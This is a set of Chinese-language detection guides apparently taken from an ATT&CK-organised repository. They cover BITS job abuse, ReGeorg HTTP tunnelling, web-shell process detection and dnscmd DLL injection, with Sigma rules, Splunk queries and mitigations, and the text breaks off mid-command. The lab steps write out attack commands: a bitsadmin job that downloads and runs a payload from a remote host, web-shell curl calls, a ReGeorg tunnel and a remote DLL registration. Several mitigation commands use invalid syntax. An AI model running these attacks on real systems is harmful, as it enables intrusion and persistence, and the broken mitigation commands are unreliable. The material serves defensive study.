攻击者使用BITS上传功能将敏感数据传输至远程服务器。 ## 检测日志 **Windows安全日志** - **事件ID 4688**:记录进程创建,包含`bitsadmin.exe`或PowerShell的命令行参数。 **Windows BITS客户端日志** - **事件ID 3**:记录BITS任务创建。 - **事件ID 4**:记录任务完成或错误。 - **事件ID 59**:记录任务启动。 - **事件ID 60**:记录任务修改(如添加文件或设置通知命令)。 **Sysmon日志** - **事件ID 1**:记录进程创建,包含`bitsadmin.exe`或`powershell.exe`的命令行参数。 - **事件ID 3**:记录网络连接,检测BITS任务的HTTP/HTTPS或SMB流量。 - **事件ID 11**:记录文件创建,检测BITS下载的文件写入磁盘。 **配置日志记录** - 启用进程创建审核:`计算机配置 > 策略 > Windows设置 > 安全设置 > 高级审核策略配置 > 详细跟踪 > 审核进程创建`。 - 启用命令行参数记录:`计算机配置 > 管理模板 > 系统 > 审核进程创建 > 在进程创建事件中加入命令行 > 启用`。 - 启用BITS客户端日志:`事件查看器 > 应用程序和服务日志 > Microsoft-Windows-BITS-Client/Operational`。 - 部署Sysmon以增强进程、网络和文件监控。 ## 测试复现 ### 环境准备 - **靶机**:Windows 10或Windows Server 2012+。 - **权限**:管理员权限(某些BITS操作需要)。 - **工具**:`bitsadmin.exe`,PowerShell,测试用恶意文件(如`pentestlab.exe`)。 - **网络**:可访问的HTTP服务器(如`http://10.0.2.21/pentestlab.exe`)。 - **日志**:启用Windows安全日志、BITS客户端日志和Sysmon。 ### 攻击步骤 1. **使用bitsadmin下载文件** 创建BITS任务下载恶意文件: ```dos bitsadmin /transfer backdoor /download /priority high http://10.0.2.21/pentestlab.exe C:\tmp\pentestlab.exe ``` 2. **使用PowerShell下载文件** 实现相同功能: ```powershell Start-BitsTransfer -Source "http://10.0.2.21/pentestlab.exe" -Destination "C:\tmp\pentestlab.exe" ``` 3. **配置BITS任务持久化** - 创建任务: ```dos bitsadmin /create backdoor ``` - 添加文件: ```dos bitsadmin /addfile backdoor "http://10.0.2.21/pentestlab.exe" "C:\tmp\pentestlab.exe" ``` - 设置通知命令(执行下载的文件): ```dos bitsadmin /SetNotifyCmdLine backdoor C:\tmp\pentestlab.exe NUL ``` - 设置重试延迟(60秒): ```dos bitsadmin /SetMinRetryDelay backdoor 60 ``` - 启动任务: ```dos bitsadmin /resume backdoor ``` ![image1](https://img2018.cnblogs.com/blog/894761/201911/894761-20191111110145812-668139170.png) ![image2](https://img2018.cnblogs.com/blog/894761/201911/894761-20191111110227491-23710429.png) ![image3](https://img2018.cnblogs.com/blog/894761/201911/894761-20191111110245500-1362389929.png) ## 测试留痕 ![image4](https://s2.ax1x.com/2020/01/14/lqedzV.png) ![image5](https://s2.ax1x.com/2020/01/14/lqeWz6.png) ![image6](https://s2.ax1x.com/2020/01/14/lqmiYn.png) ## 检测规则/思路 **检测规则** 通过分析Windows安全日志、BITS客户端日志和Sysmon日志,检测BITS任务创建及异常行为。以下是具体思路: 1. **日志分析**: - 监控BITS客户端日志事件ID 3、4、59、60,检测任务创建、修改及执行。 - 监控Sysmon事件ID 1或Windows事件ID 4688,检测`bitsadmin.exe`或`powershell.exe`的异常命令行(如`/transfer`、`SetNotifyCmdLine`)。 - 监控Sysmon事件ID 3,检测BITS任务的HTTP/HTTPS或SMB网络连接。 - 监控Sysmon事件ID 11,检测BITS下载的文件写入磁盘。 2. **Sigma规则(BITS任务创建)**: ```yaml title: BITS任务创建或下载 id: v78901234-abcd567890-xyz123456789 status: stable description: 检测通过bitsadmin.exe或PowerShell创建的BITS任务或下载行为 references: - https://attack.mitre.org/techniques/T1197/ - https://www.cnblogs.com/xiaozi/p/11833583.html tags: - attack.persistence - attack.t1197 logsource: category: process_creation product: windows detection: selection_bitsadmin: EventID: - 4688 - 1 Image|endswith: '\bitsadmin.exe' CommandLine|contains: - '/transfer' - '/create' - '/addfile' - '/SetNotifyCmdLine' selection_powershell: EventID: - 4688 - 1 Image|endswith: '\powershell.exe' CommandLine|contains: 'Start-BitsTransfer' condition: selection_bitsadmin or selection_powershell fields: - Image - CommandLine - ParentCommandLine falsepositives: - 合法的Windows更新或软件安装 level: medium ``` 3. **Sigma规则(BITS网络活动)**: ```yaml title: BITS任务异常网络连接 id: w89012345-abcd678901-yza234567890 status: experimental description: 检测BITS任务发起的异常网络连接,可能与恶意传输相关 logsource: product: windows service: sysmon detection: selection: EventID: 3 Image|endswith: '\svchost.exe' DestinationPort: - 80 - 443 - 445 Initiated: true filter: DestinationIp|startswith: - '192.168.' - '172.16.' - '10.' condition: selection and not filter fields: - Image - DestinationIp - DestinationPort falsepositives: - 合法的BITS更新流量 level: medium ``` 4. **SIEM规则**: - 检测BITS任务及网络活动。 - 示例Splunk查询: ```spl (source="WinEventLog:Microsoft-Windows-BITS-Client/Operational" EventCode IN (3,60)) OR (source="WinEventLog:Microsoft-Windows-Sysmon/Operational" (EventID=1 Image IN ("*bitsadmin.exe","*powershell.exe") CommandLine IN ("*transfer*","*Start-BitsTransfer*","*SetNotifyCmdLine*")) OR (EventID=3 Image="*svchost.exe" DestinationPort IN (80,443,445))) | stats count by EventCode, Image, CommandLine, DestinationIp, ComputerName ``` 5. **BITS任务审计**: - 使用`bitsadmin`检查活跃任务: ```dos bitsadmin /list /allusers /verbose ``` - 检查BITS服务状态: ```dos sc query bits ``` 6. **威胁情报整合**: - 检查下载文件的哈希或URL是否与已知恶意样本相关,结合威胁情报平台(如VirusTotal、AlienVault)。 ## 建议 ### 缓解措施 防御BITS滥用需从权限控制、服务配置和监控入手: 1. **限制BITS任务创建** - 限制非管理员用户对BITS服务的访问: ```powershell $acl = Get-Acl "HKLM:\SYSTEM\CurrentControlSet\Services\BITS" $acl.SetAccessRuleProtection($true, $false) Set-Acl -Path "HKLM:\SYSTEM\CurrentControlSet\Services\BITS" -AclObject $acl ``` 2. **禁用非必要BITS功能** - 禁用BITS服务(仅在不依赖更新时): ```powershell Stop-Service -Name BITS Set-Service -Name BITS -StartupType Disabled ``` 3. **白名单机制** - 配置组策略,限制非系统进程调用BITS: `计算机配置 > 管理模板 > 网络 > 后台智能传输服务 > 限制非管理员创建任务`。 4. **网络控制** - 限制BITS的HTTP/HTTPS和SMB出站连接,仅允许可信域: ```powershell New-NetFirewallRule -DisplayName "Restrict BITS Outbound" -Direction Outbound -Service BITS -Action Block -AllowList "windowsupdate.microsoft.com" ``` 5. **日志和监控** - 启用BITS客户端日志(事件ID 3、4、59、60)。 - 配置Sysmon监控`bitsadmin.exe`、`powershell.exe`及网络连接。 - 使用EDR工具检测BITS任务的异常行为。 6. **定期审计** - 检查活跃BITS任务: ```powershell Get-BitsTransfer -AllUsers ``` - 审计下载文件: ```powershell Get-ChildItem -Path "C:\tmp" -Recurse | Where-Object { $_.Extension -eq ".exe" } ``` ## 参考推荐 - MITRE ATT&CK: T1197 - Windows权限维持(六)- BITS Jobs - BITS持久化留痕日志 ================================================ FILE: Windows/05持久化/T1505.003-Regeorg-HTTP隧道检测.md ================================================ # T1505-003-Regeorg-HTTP隧道检测 ## 描述 攻击者可能通过部署Web Shell在Web服务器上创建后门,以实现对目标系统的持久化访问(T1505.003)。Web Shell是一种运行在可公开访问Web服务器上的脚本,提供命令执行或系统交互接口,允许攻击者通过HTTP/HTTPS协议控制受害网络。Web Shell可以是服务器端脚本(如PHP、JSP、ASP)或客户端工具,具有高隐蔽性,常用于渗透内网。 **ReGeorg**是Web Shell工具reDuh的继任者,利用SOCKS5协议在会话层创建HTTP隧道,结合代理工具(如Proxifier)实现高效内网穿透。攻击者通过上传ReGeorg脚本(如`tunnel.jsp`)到受控Web服务器,配置HTTP隧道,访问内网资源(如RDP、Web服务)。ReGeorg通过伪装为正常HTTP流量,规避传统防火墙检测。检测重点在于识别ReGeorg的特征性URL参数(如`cmd=connect`)和异常流量模式。 ## 测试案例 1. **ReGeorg HTTP隧道搭建** 攻击者在受控Web服务器上部署ReGeorg脚本,创建SOCKS5隧道,访问内网主机(如`172.17.0.2:80`)。 2. **结合Proxifier代理** 攻击者使用Proxifier将本地流量通过ReGeorg隧道转发至内网。 3. **伪装正常流量** 攻击者通过分块传输(`Transfer-Encoding: chunked`)或伪造合法HTTP头(如`User-Agent`)隐藏隧道流量。 参考测试案例: ## 检测日志 **Web服务器日志(HTTP日志)** - 记录HTTP请求的URL、查询参数、头信息(如`X-CMD`、`X-TARGET`)和响应状态。 - 示例日志文件:`access.log`(Apache)、`iis.log`(IIS)。 **网络流量日志** - 记录TCP/HTTP流量,包含源/目标IP、端口、协议和负载数据。 - 工具:Wireshark、`tcpdump`。 **Sysmon日志(Windows服务器)** - **事件ID 3**:记录Web服务器进程(如`apache.exe`)的网络连接。 - **事件ID 11**:记录Web Shell脚本(如`tunnel.jsp`)的写入。 **配置日志记录** - 启用Web服务器详细日志:记录完整的URL查询参数和HTTP头。 - 配置WAF/IDS:捕获异常HTTP请求。 - 部署Sysmon:监控Web服务器的文件和网络活动。 - 使用`tcpdump`或NetFlow捕获网络流量。 ## 测试复现 ### 环境准备 - **靶机**:Web服务器(如Apache/Tomcat,IP:`182.x.x.x:8080`),运行ReGeorg脚本(如`tunnel.jsp`)。 - **内网主机**:目标服务(如`172.17.0.2:80`,运行Web应用)。 - **攻击机**:Kali Linux,安装`tcpdump`、Wireshark、Proxifier和ReGeorg。 - **工具**:ReGeorg源码()。 - **日志**:启用Web服务器日志、Sysmon和网络流量捕获。 ### 攻击步骤 1. **部署ReGeorg Web Shell** - 将`tunnel.jsp`上传至受控Web服务器(如`/var/www/html/tunnel.jsp`)。 - 验证访问:`http://182.x.x.x:8080/tunnel.jsp`。 2. **启动ReGeorg隧道** - 在Kali上运行ReGeorg: ```bash python reGeorgSocksProxy.py -u http://182.x.x.x:8080/tunnel.jsp -p 1080 ``` - 配置Proxifier,将本地SOCKS5代理设置为`127.0.0.1:1080`。 3. **访问内网资源** - 使用`curl`通过隧道访问内网Web服务: ```bash curl -x socks5://127.0.0.1:1080 http://172.17.0.2/login.php ``` 4. **捕获流量** - 在Kali上使用`tcpdump`抓包: ```bash tcpdump -i eth0 -w kali.pcap ``` - 在Web服务器上抓包: ```bash tcpdump -i eth0 -w server.pcap ``` - 使用Wireshark分析流量,追踪TCP流。 5. **清理(测试后)** - 删除Web Shell:`rm /var/www/html/tunnel.jsp`。 - 终止ReGeorg进程:`Ctrl+C`。 - 移除Proxifier代理配置。 ### 流量特征 - **Kali抓包**:显示HTTP请求(如`GET /login.php`)和ReGeorg命令(`cmd=connect`、`cmd=forward`)。 - **Web服务器抓包**:显示ReGeorg的POST请求,包含`X-CMD`头(如`CONNECT`、`READ`、`FORWARD`、`DISCONNECT`)和内网目标(如`X-TARGET: 172.17.0.2`)。 - **内网主机抓包**:显示Web服务器作为跳板,请求内网资源(如`/login.php`)。 **注意**:此复现仅用于学习和测试目的,需在合法授权的测试环境中进行,切勿用于非法活动。 ## 测试留痕 ### Kali(攻击机) - **tcpdump/Wireshark抓包**: ```plaintext GET /login.php HTTP/1.1 Host: 172.17.0.2 User-Agent: curl/7.68.0 Accept: */* HTTP/1.1 200 OK Date: Thu, 17 Dec 2020 16:39:09 GMT Server: Apache/2.4.7 (Ubuntu) Content-Length: 1567 Content-Type: text/html;charset=utf-8 ``` ### Web服务器(ServerA) - **连接请求(cmd=connect)**: ```plaintext POST http://182.x.x.x:8080/tunnel.jsp?cmd=connect&target=172.17.0.2&port=80 HTTP/1.1 Host: 182.x.x.x:8080 Accept-Encoding: identity X-CMD: CONNECT X-TARGET: 172.17.0.2 X-PORT: 80 User-Agent: python-urllib3/1.26.2 HTTP/1.1 200 OK Server: Apache-Coyote/1.1 X-STATUS: OK Content-Length: 0 ``` - **读取请求(cmd=read)**: ```plaintext POST /tunnel.jsp?cmd=read HTTP/1.1 Host: 182.x.x.x:8080 Accept-Encoding: identity X-CMD: READ Transfer-Encoding: chunked User-Agent: python-urllib3/1.26.2 HTTP/1.1 200 OK X-STATUS: OK ``` - **转发请求(cmd=forward)**: ```plaintext POST /tunnel.jsp?cmd=forward HTTP/1.1 Host: 182.x.x.x:8080 Accept-Encoding: identity Content-Length: 83 X-CMD: FORWARD GET /login.php HTTP/1.1 Host: 172.17.0.2 User-Agent: curl/7.68.0 Accept: */* HTTP/1.1 200 OK X-STATUS: OK ``` - **断开请求(cmd=disconnect)**: ```plaintext POST /tunnel.jsp?cmd=disconnect HTTP/1.1 Host: 182.x.x.x:8080 Accept-Encoding: identity X-CMD: DISCONNECT HTTP/1.1 200 OK X-STATUS: OK ``` ### 内网服务器 - **内网请求**: ```plaintext GET /login.php HTTP/1.1 Host: 172.17.0.2 User-Agent: curl/7.68.0 Accept: */* HTTP/1.1 200 OK Server: Apache/2.4.7 (Ubuntu) Content-Length: 1567 Content-Type: text/html;charset=utf-8 ``` ## 检测规则/思路 **检测规则** 通过分析Web服务器日志和网络流量,检测ReGeorg的特征性HTTP请求和隧道行为。以下是具体思路: 1. **日志分析**: - 监控Web服务器日志,检测URL查询参数中的ReGeorg命令(如`cmd=connect`、`cmd=read`、`cmd=forward`、`cmd=disconnect`)。 - 检测HTTP头中的ReGeorg标记(如`X-CMD`、`X-TARGET`、`X-PORT`)。 - 监控Sysmon事件ID 3,检测Web服务器进程的异常网络连接(如内网IP)。 - 监控Sysmon事件ID 11,检测Web Shell文件的创建(如`tunnel.jsp`)。 2. **Sigma规则(ReGeorg URL参数检测)**: ```yaml title: ReGeorg HTTP隧道检测 id: x90123456-abcd789012-zab345678901 status: stable description: 检测ReGeorg HTTP隧道的特征性URL参数和HTTP头 references: - https://attack.mitre.org/techniques/T1505/003/ - https://cloud.tencent.com/developer/article/1779195 - https://github.com/sensepost/reGeorg tags: - attack.persistence - attack.t1505.003 logsource: category: webserver detection: selection: uri_query|contains: - 'cmd=connect' - 'cmd=read' - 'cmd=forward' - 'cmd=disconnect' http_header|contains: - 'X-CMD:' - 'X-TARGET:' - 'X-PORT:' filter: http_method: POST http_referer: null condition: selection and filter fields: - uri_query - http_header - http_method - http_user_agent falsepositives: - 合法Web应用使用类似URL参数 level: high ``` 3. **Sigma规则(Web服务器异常网络连接)**: ```yaml title: Web服务器异常内网连接 id: y01234567-abcd890123-abc456789012 status: experimental description: 检测Web服务器向内网主机的异常连接,可能与HTTP隧道相关 logsource: product: windows service: sysmon detection: selection: EventID: 3 Image|endswith: - '\apache.exe' - '\httpd.exe' - '\tomcat.exe' DestinationIp|startswith: - '172.' - '10.' - '192.168.' DestinationPort: - 80 - 443 - 3389 condition: selection fields: - Image - DestinationIp - DestinationPort falsepositives: - 合法内网Web服务调用 level: medium ``` 4. **SIEM规则**: - 检测ReGeorg请求和网络活动。 - 示例Splunk查询: ```spl source="http:access_log" (uri_query IN ("*cmd=connect*","*cmd=read*","*cmd=forward*","*cmd=disconnect*") OR http_header IN ("X-CMD:*","X-TARGET:*","X-PORT:*")) method=POST | stats count by uri_query, http_header, src_ip, dest_ip ``` 5. **流量分析**: - 使用Wireshark过滤ReGeorg流量:`http.request.uri contains "cmd="`。 - 检查分块传输(`Transfer-Encoding: chunked`)和异常`User-Agent`(如`python-urllib3`)。 6. **威胁情报整合**: - 检查Web Shell文件哈希或C2 URL是否与已知恶意样本匹配,结合威胁情报平台(如VirusTotal、AlienVault)。 ## 建议 ### 缓解措施 防御ReGeorg HTTP隧道需从Web服务器安全、流量监控和检测入手: 1. **Web服务器加固** - 定期扫描Web目录,检测未授权文件(如`tunnel.jsp`)。 ```bash find /var/www -name "*.jsp" -exec grep "cmd=" {} \; ``` - 限制Web服务器目录写权限: ```bash chmod -R 755 /var/www/html chown -R www-data:www-data /var/www/html ``` 2. **限制Web Shell执行** - 配置WAF规则,拦截包含`cmd=`、`X-CMD`的请求。 - 禁用不必要的脚本引擎(如PHP、JSP)。 3. **网络控制** - 限制Web服务器访问内网资源: ```bash iptables -A OUTPUT -p tcp -d 172.0.0.0/8 -j DROP ``` - 配置IDS/IPS检测SOCKS5隧道特征。 4. **日志和监控** - 启用详细HTTP日志,记录URL参数和头信息。 - 配置Sysmon监控Web服务器的文件和网络活动。 - 使用EDR工具检测Web Shell行为。 5. **定期审计** - 检查Web服务器日志中的异常POST请求: ```bash grep "cmd=" /var/log/apache2/access.log ``` - 审计Web服务器文件完整性: ```bash tripwire --check ``` ## 参考推荐 - MITRE ATT&CK: T1505.003 - ReGeorg HTTP隧道分析 - ReGeorg GitHub ================================================ FILE: Windows/05持久化/T1505.003-web服务关联可疑进程识别webshell行为.md ================================================ # T1505-003-Web服务关联可疑进程识别WebShell行为 ## 描述 攻击者可能通过在可公开访问的Web服务器上部署Web Shell实现持久化访问(T1505.003)。Web Shell是运行在Web服务器上的恶意脚本(如PHP、ASP、JSP),提供命令执行、文件操作或网络通信功能,允许攻击者通过HTTP/HTTPS协议控制目标系统。Web Shell可伪装为合法Web内容,具有高隐蔽性,常用于信息收集、权限提升或内网横向移动。 Web Shell可能通过服务器端脚本(如[China Chopper](https://attack.mitre.org/software/S0020))或客户端工具与Web服务器交互。攻击者利用Web Shell执行系统命令(如`whoami`、`ipconfig`)或启动可疑进程(如`cmd.exe`、`powershell.exe`),这些行为在Web服务器进程(如`w3wp.exe`、`httpd.exe`)的子进程中表现明显。检测重点在于识别Web服务器进程衍生的异常子进程(如脚本解释器或管理工具)及其命令行参数。 ## 测试案例 1. **Web Shell执行信息收集命令** 攻击者通过Web Shell运行`whoami`、`ipconfig`或`net user`等命令,收集系统信息。 2. **Web Shell启动可疑进程** 攻击者通过Web Shell启动`powershell.exe`或`bitsadmin.exe`,下载或执行恶意负载。 3. **伪装合法Web应用** 攻击者将Web Shell嵌入合法Web页面(如`login.php`),执行隐蔽命令。 ## 检测日志 **Windows日志** - **Windows安全日志**: - **事件ID 4688**:记录进程创建,包含父进程(如`w3wp.exe`)和子进程(如`cmd.exe`)的命令行参数。 - **Sysmon日志**: - **事件ID 1**:记录进程创建,包含详细的父/子进程信息和命令行参数。 - **事件ID 3**:记录网络连接,检测Web Shell发起的C2通信。 - **事件ID 11**:记录文件创建,检测Web Shell文件的写入。 - **EDR产品日志**:记录进程树、命令行参数和网络活动。 **Linux日志** - **Syslog**:记录Web服务器进程(如`httpd`、`nginx`)的活动。 - **Auditd日志**:记录进程创建(如`bash`、`sh`)和文件操作。 - **Web服务器日志**:记录HTTP请求(如`access.log`),可能包含Web Shell的URL调用。 **配置日志记录** - Windows: - 启用进程创建审核:`计算机配置 > 策略 > Windows设置 > 安全设置 > 高级审核策略配置 > 详细跟踪 > 审核进程创建`。 - 启用命令行参数记录:`计算机配置 > 管理模板 > 系统 > 审核进程创建 > 在进程创建事件中加入命令行 > 启用`。 - 部署Sysmon以增强进程、网络和文件监控。 - Linux: - 启用`auditd`:配置规则监控`execve`系统调用和文件操作。 - 启用Web服务器详细日志:记录完整的URL和HTTP头。 ## 测试复现 ### 环境准备 - **靶机**:Windows Server(IIS/Apache)或Linux(Apache/Nginx),运行Web服务。 - **权限**:Web服务器用户权限(如`www-data`或`NETWORK SERVICE`)。 - **工具**:测试用Web Shell(如`simple-backdoor.php`)、Sysmon(Windows)、`auditd`(Linux)。 - **日志**:启用Windows安全日志、Sysmon、Web服务器日志和Linux审计日志。 ### 攻击步骤 1. **部署Web Shell** - 上传Web Shell到Web服务器(如`/var/www/html/shell.php`或`C:\inetpub\wwwroot\shell.aspx`)。 ```php ``` 2. **执行命令** - 通过浏览器或`curl`访问Web Shell,执行命令: ```bash curl "http:///shell.php?cmd=whoami" curl "http:///shell.php?cmd=powershell%20-c%20Get-Process" ``` 3. **触发可疑进程** - 使用Web Shell启动`cmd.exe`或`powershell.exe`: ```bash curl "http:///shell.php?cmd=net%20user" ``` 4. **验证结果** - 检查Web服务器日志: ```bash cat /var/log/apache2/access.log | grep "shell.php" ``` - 检查Windows日志(事件ID 4688/Sysmon事件ID 1): ```powershell Get-WinEvent -LogName Security | Where-Object { $_.Id -eq 4688 -and $_.Message -match "cmd.exe|powershell.exe" } ``` - 检查Linux审计日志: ```bash ausearch -ts today -m execve | grep "httpd|nginx" ``` 5. **清理(测试后)** - 删除Web Shell: ```bash rm /var/www/html/shell.php ``` - 重启Web服务: ```bash systemctl restart apache2 ``` **注意**:此复现仅用于学习和测试目的,需在合法授权的测试环境中进行,切勿用于非法活动。 ## 测试留痕 ### Windows日志 - **Windows安全日志(事件ID 4688)**: ```xml 4688 2 0 13312 0 0x8020000000000000 2814 Security WIN-GG82ULGC9GO.contoso.local S-1-5-18 WIN-GG82ULGC9GO$ CONTOSO 0x3e7 0x2bc C:\Windows\System32\cmd.exe %%1938 0xe74 cmd.exe /c whoami C:\Windows\System32\w3wp.exe S-1-16-8192 ``` - **Sysmon日志(事件ID 1)**: ```plaintext EventID: 1 UtcTime: 2025-06-10 02:30:00.123 ProcessGuid: {12345678-abcd-1234-abcd-1234567890ab} ProcessId: 1234 Image: C:\Windows\System32\cmd.exe CommandLine: cmd.exe /c whoami ParentImage: C:\Windows\System32\w3wp.exe ParentProcessId: 5678 User: NT AUTHORITY\NETWORK SERVICE IntegrityLevel: Medium ``` ### Linux日志 - **Auditd日志**: ```plaintext type=EXECVE msg=audit(1623379200.123:456): argc=2 a0="bash" a1="-c whoami" type=SYSCALL msg=audit(1623379200.123:456): arch=c000003e syscall=59 success=yes exit=0 ppid=1234 pid=5678 uid=33 gid=33 euid=33 egid=33 comm="bash" exe="/bin/bash" type=PATH msg=audit(1623379200.123:456): name="/bin/bash" dev=sda1 inode=123456 type=PROCTITLE msg=audit(1623379200.123:456): proctitle="httpd" ``` - **Apache访问日志**: ```plaintext 192.168.1.100 - - [10/Jun/2025:02:30:00 +0000] "GET /shell.php?cmd=whoami HTTP/1.1" 200 1234 ``` ## 检测规则/思路 **检测规则** 通过分析Windows/Linux日志,检测Web服务器进程衍生的异常子进程(如`cmd.exe`、`bash`)及其命令行参数。以下是具体思路: 1. **日志分析**: - **Windows**: - 监控事件ID 4688或Sysmon事件ID 1,检测Web服务器进程(如`w3wp.exe`、`httpd.exe`)衍生的子进程(如`cmd.exe`、`powershell.exe`)。 - 检查命令行参数,识别信息收集命令(如`whoami`、`ipconfig`)或管理命令(如`net user`)。 - 监控Sysmon事件ID 3,检测子进程的网络连接。 - 监控Sysmon事件ID 11,检测Web Shell文件写入。 - **Linux**: - 监控`auditd`日志,检测Web服务器进程(如`httpd`、`nginx`)执行的`execve`调用(如`bash`)。 - 检查Web服务器日志,识别异常HTTP请求(如`GET /shell.php?cmd=`)。 2. **Sigma规则(Windows Web Shell进程)**: ```yaml title: Web服务器衍生可疑进程 id: z12345678-abcd901234-abc567890123 status: stable description: 检测Web服务器进程衍生的可疑子进程,可能表明Web Shell活动 references: - https://attack.mitre.org/techniques/T1505/003/ - https://github.com/microsoft/Microsoft-365-Defender-Hunting-Queries tags: - attack.persistence - attack.t1505.003 - attack.t1190 logsource: category: process_creation product: windows detection: selection: ParentImage|endswith: - '\w3wp.exe' - '\httpd.exe' - '\nginx.exe' - '\php-cgi.exe' - '\tomcat.exe' Image|endswith: - '\cmd.exe' - '\powershell.exe' - '\bitsadmin.exe' - '\cscript.exe' - '\wscript.exe' - '\net.exe' - '\net1.exe' - '\ping.exe' - '\whoami.exe' - '\ipconfig.exe' condition: selection fields: - Image - ParentImage - CommandLine - ParentCommandLine falsepositives: - 合法Web应用调用系统命令(如ipconfig、whoami) level: high ``` 3. **Sigma规则(Linux Web Shell进程)**: ```yaml title: Linux Web服务器衍生可疑Shell进程 id: a23456789-abcd012345-bcd678901234 status: experimental description: 检测Linux Web服务器进程衍生的可疑Shell进程,可能表明Web Shell活动 references: - https://github.com/elastic/detection-rules/blob/main/rules/linux/persistence_shell_activity_by_web_server.toml tags: - attack.persistence - attack.t1505.003 logsource: category: process_creation product: linux detection: selection: process.parent.name|contains: - 'httpd' - 'nginx' - 'apache2' process.name: - 'bash' - 'sh' - 'dash' user.name: - 'apache' - 'nginx' - 'www-data' condition: selection fields: - process.name - process.parent.name - process.args falsepositives: - 合法Web应用调用Shell脚本 level: high ``` 4. **SIEM规则**: - 检测Web服务器衍生进程。 - 示例Splunk查询: ```spl (source="WinEventLog:Microsoft-Windows-Sysmon/Operational" EventID=1 ParentImage IN ("*w3wp.exe","*httpd.exe","*nginx.exe","*php-cgi.exe","*tomcat.exe") Image IN ("*cmd.exe","*powershell.exe","*net.exe","*whoami.exe")) OR (source="linux:audit" process.parent.name IN ("httpd","nginx","apache2") process.name IN ("bash","sh","dash") user.name IN ("apache","nginx","www-data")) | stats count by Image, ParentImage, CommandLine, ComputerName ``` 5. **动态调整规则**: - 根据环境白名单常见命令(如`ipconfig`在特定Web应用的合法调用)。 - 添加更多可疑命令(如`tasklist`、`schtasks`)到规则中。 6. **威胁情报整合**: - 检查Web Shell文件哈希或C2 URL是否与已知恶意样本匹配,结合威胁情报平台(如VirusTotal、AlienVault)。 ## 备注 检测思路基于攻击者通过Web Shell执行系统命令(如信息收集、管理操作)的行为模式。在Windows/Linux环境中,这些行为表现为Web服务器进程(如`w3wp.exe`、`httpd`)衍生异常子进程(如`cmd.exe`、`bash`)。规则需根据具体环境调整,避免误报(如合法Web应用调用`whoami`)。可扩展规则,纳入更多攻击者常用的命令(如`tasklist`、`netstat`)。 ## 建议 ### 缓解措施 防御Web Shell需从Web服务器安全、进程监控和检测入手: 1. **Web服务器加固** - 定期扫描Web目录,检测未授权文件(如`.php`、`.jsp`)。 ```bash find /var/www -name "*.php" -exec grep "system(" {} \; ``` - 限制Web目录写权限: ```bash chmod -R 755 /var/www/html chown -R www-data:www-data /var/www/html ``` 2. **限制脚本执行** - 禁用不必要的脚本引擎(如PHP、ASP)。 - 配置WAF拦截异常HTTP请求(如`cmd=`)。 3. **进程控制** - 使用AppLocker(Windows)或SELinux(Linux)限制Web服务器进程执行可疑二进制文件。 ```powershell New-AppLockerPolicy -RuleType Path -Path "C:\Windows\System32\cmd.exe" -Action Deny -User "NETWORK SERVICE" ``` 4. **网络控制** - 限制Web服务器的出站连接,仅允许必要服务: ```bash iptables -A OUTPUT -p tcp --dport 80,443 -j ACCEPT iptables -A OUTPUT -j DROP ``` 5. **日志和监控** - 启用Sysmon(Windows)或`auditd`(Linux)监控进程创建和命令行参数。 - 配置SIEM监控Web服务器衍生进程。 - 使用EDR工具检测Web Shell行为。 ## 参考推荐 - MITRE ATT&CK: T1505.003 - Web服务器执行可疑应用程序 - Elastic检测规则:Web服务器Shell活动 ================================================ FILE: Windows/05持久化/T1543.003-Win-windows服务Dnscmd.exe(白名单).md ================================================ # T1543-003-Win-Windows服务Dnscmd.exe持久化 ## 描述 攻击者可能通过创建或修改Windows服务实现恶意代码的持久化执行(T1543.003)。Windows服务是在系统启动时运行的后台程序,负责核心系统功能,其配置信息(如可执行文件路径)存储在Windows注册表中。攻击者可通过工具(如`sc.exe`、`reg.exe`)或直接与Windows API交互,安装新服务或修改现有服务以执行恶意负载。 **Dnscmd.exe**是Windows提供的DNS服务器管理命令行工具,位于`C:\Windows\System32\`和`C:\Windows\SysWOW64\`,用于自动化DNS管理任务。攻击者可滥用`dnscmd.exe`的`/serverlevelplugindll`参数,将恶意DLL注册为DNS服务插件,在DNS服务器重启后以SYSTEM权限执行,结合伪装为合法DNS操作,隐蔽性较高。攻击者需具备DnsAdmins组权限(或等效权限)才能执行此操作。检测重点在于监控`dnscmd.exe`的异常命令行参数及相关注册表修改。 ## 测试案例 1. **通过Dnscmd注册恶意DLL** 攻击者使用`dnscmd.exe`将远程恶意DLL注册为DNS服务插件,在DNS服务器重启后执行。 2. **伪装合法DNS管理操作** 攻击者伪装为DNS管理员,使用`dnscmd.exe`执行看似正常的配置命令,隐藏恶意意图。 ### 示例命令 ```bash dnscmd.exe dc1.lab.int /config /serverlevelplugindll \\192.168.0.149\dll\wtf.dll ``` - **用例**:远程向DNS服务器注入DLL。 - **所需权限**:DnsAdmins组成员或更高权限。 - **操作系统**:Windows Server(DNS角色)。 ## 检测日志 **Windows安全日志** - **事件ID 4688**:记录进程创建,包含`dnscmd.exe`的命令行参数。 - **事件ID 4674**:记录权限分配,检测DnsAdmins组权限使用。 **Sysmon日志** - **事件ID 1**:记录进程创建,包含`dnscmd.exe`的命令行参数和父进程信息。 - **事件ID 13**:记录注册表修改,如`HKLM\SYSTEM\CurrentControlSet\Services\DNS\Parameters\ServerLevelPluginDll`的更改。 - **事件ID 3**:记录网络连接,检测远程DLL加载(如`\\192.168.0.149\dll\wtf.dll`)。 **配置日志记录** - 启用进程创建审核:`计算机配置 > 策略 > Windows设置 > 安全设置 > 高级审核策略配置 > 详细跟踪 > 审核进程创建`。 - 启用命令行参数记录:`计算机配置 > 管理模板 > 系统 > 审核进程创建 > 在进程创建事件中加入命令行 > 启用`。 - 启用注册表审核:`计算机配置 > 策略 > Windows设置 > 安全设置 > 高级审核策略配置 > 对象访问 > 审核注册表`。 - 部署Sysmon以增强进程、注册表和网络监控。 ## 测试复现 ### 环境准备 - **靶机**:Windows Server 2012+,配置DNS服务器角色,域控(DC)或独立DNS服务器。 - **权限**:DnsAdmins组成员或管理员权限。 - **工具**:`dnscmd.exe`(系统自带)、测试用DLL文件、Sysmon、Windows安全日志。 - **网络**:可访问的远程共享路径(如`\\192.168.0.149\dll\`)。 - **测试DLL路径**:`\\192.168.0.149\dll\test.dll`(模拟恶意DLL)。 ### 攻击步骤 1. **确认权限** - 验证当前用户是否为DnsAdmins组成员: ```powershell net group "DnsAdmins" /domain ``` 2. **注册恶意DLL** - 使用`dnscmd.exe`配置DNS服务插件: ```bash dnscmd.exe dc1.lab.int /config /serverlevelplugindll \\192.168.0.149\dll\test.dll ``` 3. **触发执行** - 重启DNS服务以加载DLL: ```powershell Restart-Service -Name DNS ``` 4. **验证结果** - 检查注册表键: ```powershell Get-ItemProperty -Path 